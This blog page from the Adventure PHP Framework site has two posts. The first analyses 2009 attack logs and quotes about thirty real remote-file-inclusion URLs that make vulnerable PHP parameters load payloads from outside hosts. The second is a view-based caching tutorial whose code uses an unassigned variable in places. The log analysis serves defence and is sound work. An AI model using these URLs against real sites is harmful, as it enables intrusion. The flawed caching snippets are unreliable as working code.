»
S
I
D
E
B
A
R
«
Sponsored Links
Hacking & the APF 2009/2010
Jan 30th, 2010 by christian

1. Introduction

In 2009, a drastic increase of XSS and code injection attacks could be recognized on the APF web site. Analyzing the log files, we found 92,334 known attacks that were catched by the framework and a total number of 672,152 attacks.

APF security award The APF Security Promise: Use the APF and profit by its security mechanisms! From scratch securely designed applications prevent the compromise of your system, guarantee the safety of your users data and of your reputation and let you put your mind at ease.

This article describes, which mechanisms are included in the APF to face this danger and to secure your custom application.

2. Attacks

2.1. Kind of attacks

As described in the article Hacking & das APF (German), most of the attacks are XSS and code injection attacks. They try to exploit vulnerabilities to inject third party content or code into the target application. Fortunately, the signature of these attacks is similar in 95% of the attacks. Here is the pattern description:

Code
1
[?|&]vulnerability_param=http://domain.tld/some/path/injection_code.ext

Merely, the name of the parameter differs from request to request:

  • tpl_pgb_moddir
  • page
  • mosConfig_absolute_path
  • sourcedir
  • file
  • dir[inc]
  • includedir
  • phpbb_root_path
  • _SERVER[DOCUMENT_ROOT]
  • _zb_path
  • cfg[path][contenido]
  • base_folder
  • spaw_root
  • includePath

The subsequent code box contains a selection of urls, that have been used to display third party content on the APF web page or to inject third party code into the APF:

1
/!rfihttp://www.nicheresaleprofits.com/cbmarketer/image/id?? /!scan23http://sito.blackdrag0n.net/Cartoon/idnew.txt? /%20%20//////?_SERVER[DOCUMENT_ROOT]=http://www.koreadefence.net/data/shirohige/zfxid.txt?? /%20%20//?_shop_path=http://emwave.knu.ac.kr/bbs/skin/happycast_category_brown/fx29id.txt??? /%20%20//?mosconfig_absolute_path=http://largeface.com/gnuboard4/gnus/fxid.txt? /%20%20//inc/functions_inc.php?gb_pfad=http://82.146.51.16/scan/copyright.txt?? /%20%20//includes/DProtect/Framework/EmailTemplates.class.php?GLOBALS[RootPath]=http://www.junggosum.com/bbs/data/sports_2/idxx.txt?? /%20%20//modules/Forums/admin/index.php?phpbb_root_path=http://n34.biz/id1.txt??? /%20%20//tools/send_reminders.php?noSet=0&includedir=http://jnhsolutions.com.au/datingsite/temp/userimages/1.txt?? /%20%20/e404.php?DOCUMENT_ROOT=http://alandar.net/www2/log1.txt? /?mosConfig_absolute_path=http://MiNgOnIsHoW.altervista.org/ArEa511/ideal.txt???? /?dir_ws=http://champrond-en-gatine.org//administrator/components/com_joomla-visites/core/include/updates/v6id.txt?????? /?_zb_path=http://kb27.co.kr/bbs///data/cok.txt?? /tools/send_reminders.php?includedir=http://208.98.22.241/id.txt??%0D?? /?autoLoadConfig[999][0][autoType]=include&autoLoadConfig[999][0][loadFile]=http://204.3.167.134/xxx? /modules/My_eGallery/index.php?basepath=http://urogyn.co.kr/uro/install/idxx.txt?? /show_news.php?cutepath=http://laloggia.by.ru/up/ctrl.txt?? /skin/zero_vote/setup.php?dir=http://206.126.97.21/~talagaho/id.txt??? /Neos_Chronos/header.php?base_folder=http://www.jocainmo.es/img/.z/d?? /buscar.php?query=http://www.candidography.com/id1.txt?? /?_PHPLIB[libdir]=http://cdshop.net.ru////cron/hjr.txt?? /inc/cmses/aedating4CMS.php?dir[inc]=http://daiyangmetal.co.kr/intranet/zb/skin/ggambo5100_gallery//colby/id.txt?? /naboard_pnr.php?skin=http://www.cinepopbrasil.com.br/sistem.txt??? /phpSecurePages/secure.php?&cfgProgDir=http://www.steannareptile.it//administrator/idi.txt??? /phpwcms/include/inc_ext/spaw/dialogs/table.php?spaw_root=http://tdaa.by.ru/safe.txt??? /skin/ggambo7002_board/contact.php?dir=http://hana.nef-i.co.kr/pds/zfxid1.txt?? /jahoot.com/search.php?=http://www.chicagofc.co.kr/fitness/data/come/fx29id1.txt?? /PNphpBB2/includes/functions_admin.php?phpbb_root_path=http://laloggia.by.ru/up/ctrl.txt?? /components/com_htmlarea3_xtd-c/popups/ImageManager/config.inc.php?http://musicadelibreria.net/footer?? /Page//wp-content/plugins/dm-albums/template/album.php?SECURITY_FILE=http://kb27.co.kr/bbs///data/cok.txt??

The files xss_report_2009_with_urls_grouped.txt.gz and xss_report_2009_with_urls_uniq.txt.gz contain a variety of urls, that have been used during 2009 attacks. xss_report_2009_with_urls_uniq.txt.gz contains a complete list of urls, xss_report_2009_with_urls_grouped.txt.gz contains a grouped list with identical base urls.

2.2. Reported attacks

After having checked Apache’s access logfiles, we started to analyze the application log files. This effort resulted in 3 groups of attacks. All of them tried to manipulate the url to inject content or code to the application:

1
parse_url(/Seite/048-Webseite-erstellen%20%20/page.php?doc=http://unixstats.org/tools/idxx.txt??): Unable to parse URL (Number: 2, File: ***/apps/tools/link/frontcontrollerLinkHandler.php, Line: 306) [Document::__loadContentFromFile()] Design "Seite" not existent in namespace "modules::comments::pres::templates"! Please check your template code (<29e6fe038415c51c1bbac0271949edf5 /><a name="comments"></a><h2><html:getstring namespace="modules::comments" config="language" entry="header.title" /></h2><68a3d33630357505bfe4dd96dbcb492e />). (Number: 256, File: ***/apps/core/pagecontroller/pagecontroller.php, Line: 1378) [Frontcontroller::__parseActions()] No config section for action key "setLangu" available in configuration file "***_actionconfig.ini" in namespace "sites::demosite::biz::actions" and context "sites::***"! (Number: 256, File: ***/apps/core/frontcontroller/Frontcontroller.php, Line: 555)

The first line is a try-out to inject external code. If the offender would have been successful, the code is used to spy out information about the webserver and the application running on the machine. Subsequent request are then used to explicitly manipulate the application and the content.

In case the developer uses URL rewriting, such attacks ara quite worthless, because the InputFilter rewrites the url to a generic param value couple.

In case the developer uses the APF components like the LinkHandler or the FrontcontrollerLinkHandler, urls like presented above are recognized semantically invalid and an error is thrown. This error can be caugth and logged by the integrated Error handling very easily.

The second line describes the attempt to manipulate a known parameter of the application to display third party content. Potentially, the APF offers the chance to manipulare the template included by the <core:importdesign /> taglib by changing the url, but the template path is created with security in mind.

In the third line the attacker tries to manipulate a param of a front controller action to execute the desired action. Within the APF, actions are defined within a configuration file and the url params only refer to this configuration. Hence, it is not possible to successfully manipulate an action call by url.

3. Error handling

In order to not provide much information to the attacker, it is recommended to implement a special ErrorHandler that logs the upcoming errors to a log file and keeps quiet on the cause of the error.

The wiki page Script kiddies ErrorHandler (German) describes, how you can implement such a ErrorHandler.

How to implement view based caching
Oct 21st, 2009 by christian

1. Introduction

Within a discussion in the developers-guide.net forum, the idea of view based caching was born. Triggered by Alberto, we began to talk about performance optimization and various caching methods. The conclusion was, that caching of pieces of HTML is an effective way to gain performance.

This can be done by the cURL solution mentioned by Alberto or by view based caching. The benefit of view based caching method is, that the application itself must not be touched or adapted to the caching strategy. Within this article, I will talk about the idea of this technique and the implementation with the resources of the adventure php framework.

2. What about views?

First of all, let me say a few words about the notion view. Spoken in APF terminology, a view is nothing else, than a template file included within another – maybe a layout template of your webpage. As described in the classes section, the presentation layer implementation of the APF features a generic page controller component, that analyzes APF style template files and generates a DOM tree out of the known tags.

Each tag consists of it’s tag definition – something like

<my:tag attr1=“value1″ attr2=“value2″ />
<my:tag attr1=”value1″ attr2=”value2″ />

and a class including the functionality of the tag. Each taglib must implemente the following methods, that are executed in the order presented in the code box:

class my_taglib_tag extends Document {
function my_taglib_tag(){
}
function onParseTime(){
}
function onAfterAppend(){
}
function transform(){
}
}

To get a detailed idea, which functionality should be placed in which method, please have a look at the user specific taglibs tutorial.

So how can this fact be used to implement view based caching? Thanks to the generic DOM definition, the developer is able to implement own taglibs to enhance the core functionality or to satisfy the customer’s requirements. This means, that the existing template including mechanisms can be used as a basis for view based caching.

3. Implementation

3.1. Let’s get started

As described on the standard taglibs page, the <core:importdesign /> tag imports a template specified by it’s namespace and file name into the current DOM node. As I have mentioned above, this tag can be used to specify dedicated views within a layout template containg the header, footer or navigation functionality. Due to the fact, that we want to cache the content of special views, we can use this taglib as a basis.

To be sure about that, let us have a look at the taglib implementation:

class core_taglib_importdesign extends Document {
function core_taglib_importdesign(){
parent::Document();
} function onParseTime(){
$Namespace = trim($this->__Attributes['namespace']);
$Template = trim($this->__Attributes['template']);
if(isset($this->__Attributes['context'])){
$this->__Context = trim($this->__Attributes['context']);
}
if(isset($this->__Attributes['incparam'])){
$IncParam = $this->__Attributes['incparam'];
}
else{
$IncParam = ‘pagepart’;
}

$this->__loadContentFromFile($Namespace,$Template);
$this->__extractDocumentController();
$this->__extractTagLibTags();
}
}

The main functionality is to evaluate the tag’s attributes injected on parse time, to load and parse the content using the __extractDocumentController() and __extractTagLibTags() methods. The only thing, that is missing, is the caching part!

3.2. The cache manager

For caching purposes, the framework contains a flexible caching component with various backends. In this case, we simply use the text cache mechanism described in the text cache provider section in the documentation. In order to use it we have to provide a configuration section within the cache configuration file as described in the docs. The section might look like this:

[view_based_cache]
Cache.Provider.Namespace = “tools::cache::provider”
Cache.Provider.Class = “TextCacheProvider”
Cache.Active = “true”
Cache.BaseFolder = “/path/to/my/cache/base/folder”
Cache.Namespace = “view::one”

To read and write the cache respectivly, we can use the following code fragment:

// get the cache manager
$cM = &$this->__getServiceObject(‘tools::cache’,‘CacheManager’);
$cM = &$cMF->getCacheManager(‘view_based_cache’);
// calculate cache key
$cacheKey = /* … */;
// read the cache
$cacheContent = $cM->getFromCache($cacheKey);
// write to the cache
if($cacheContent === null){
$cacheContent = /* generate content */;
$cM->writeToCache($cacheKey,$cacheContent);
}

3.3. The final assembly

To get things working, let’s put the pieces together:

class cache_taglib_importdesign extends core_taglib_importdesign {
var $__CacheContent = null;
function cache_taglib_importdesign(){
// call the parent’s constructor to fill the known taglib list
parent::core_taglib_importdesign();
}
function onParseTime(){
// get the cache manager
$cMF = &$this->__getServiceObject(‘tools::cache’,‘CacheManagerFabric’);
$cM = &$cMF->getCacheManager(‘view_based_cache’);
// calculate the cache key
$cacheKey = md5(
$this->getAttribute(‘namespace’).
$this->getAttribute(‘template’).
get_class($this->__ParentObject)
);
// try to read from the cache
$this->__CacheContent = $cM->getFromCache($cacheKey);
// check if the document was cached before. If not
// execute the parent’s onParseTime()
if($this->__CacheContent === null){
parent::onParseTime();
}
}
function transform(){
// generate the node’s output or return the cached content
if($this->__CacheContent === null){
// get the cache manager
$cM = &$this->__getServiceObject(‘tools::cache’,‘CacheManager’);
$cM = &$cMF->getCacheManager(‘view_based_cache’);
// calculate the cache key
$cacheKey = md5(
$this->getAttribute(‘namespace’).
$this->getAttribute(‘template’).
get_class($this->__ParentObject)
);
// generate output and cache it
$output = parent::transform();
$cM->writeToCache($cacheKey,$output);
// return the tag’s output
return $output;
}
else{
return $this->__CacheContent;
}
}
}

As you can see, the onParseTime() and transform() methods are enhanced with the cache handling. To store the cache content and to be able to decide, if cached content is available, the private member variable __CacheContent was introduced. Please note, that the code duplication within the two methods is just there to illustrate the function flow.

4. Usage

The usage of the tag is not different to the usage of the <core:importdesign /> tag. The only difference is, that we have to provide a configuration section for the cache manager:

<core:addtaglib namespace=“” prefix=“cache” class=“importdesign” />
<cache:importdesign namespace=“my::namespace” template=“my_template” />

5. Conclusion and outlook

Thanks to the generic page controller implementation of the APF it is quite easy to implement a view based cache concept using taglibs. To have a robust and reusable taglib, the class printed above should have one or two more attributes, specifying the cache configuration section and perhaps the cache key. Doing so, the taglib is surely reusable within other projects or within several parts of your application.

Concerning the cache control, you have the choice to either clear the cache manually or use a cache provider, that can handle cache file life time. If you have the need, to add automatical refreshment, have a look at the enhancement chapter on the cache manager documentation page.

6. Download

To try this out, I have created a sample implementation for PHP 5 including the enhancements written about in chapter 5. If you want to run the sample code, just download and extract the package view-based-caching-…-php5.zip into the DOCUMENT_ROOT of your webserver. Please be sure, that the user running your HTTP server has write permissions to the current folder. If you like to use another folder to store the cache, adapt the file /apps/config/tools/cache/sites/vbc/DEFAULT_cacheconfig.ini.



»  Substance: PHP Frameworks   »  SiteMap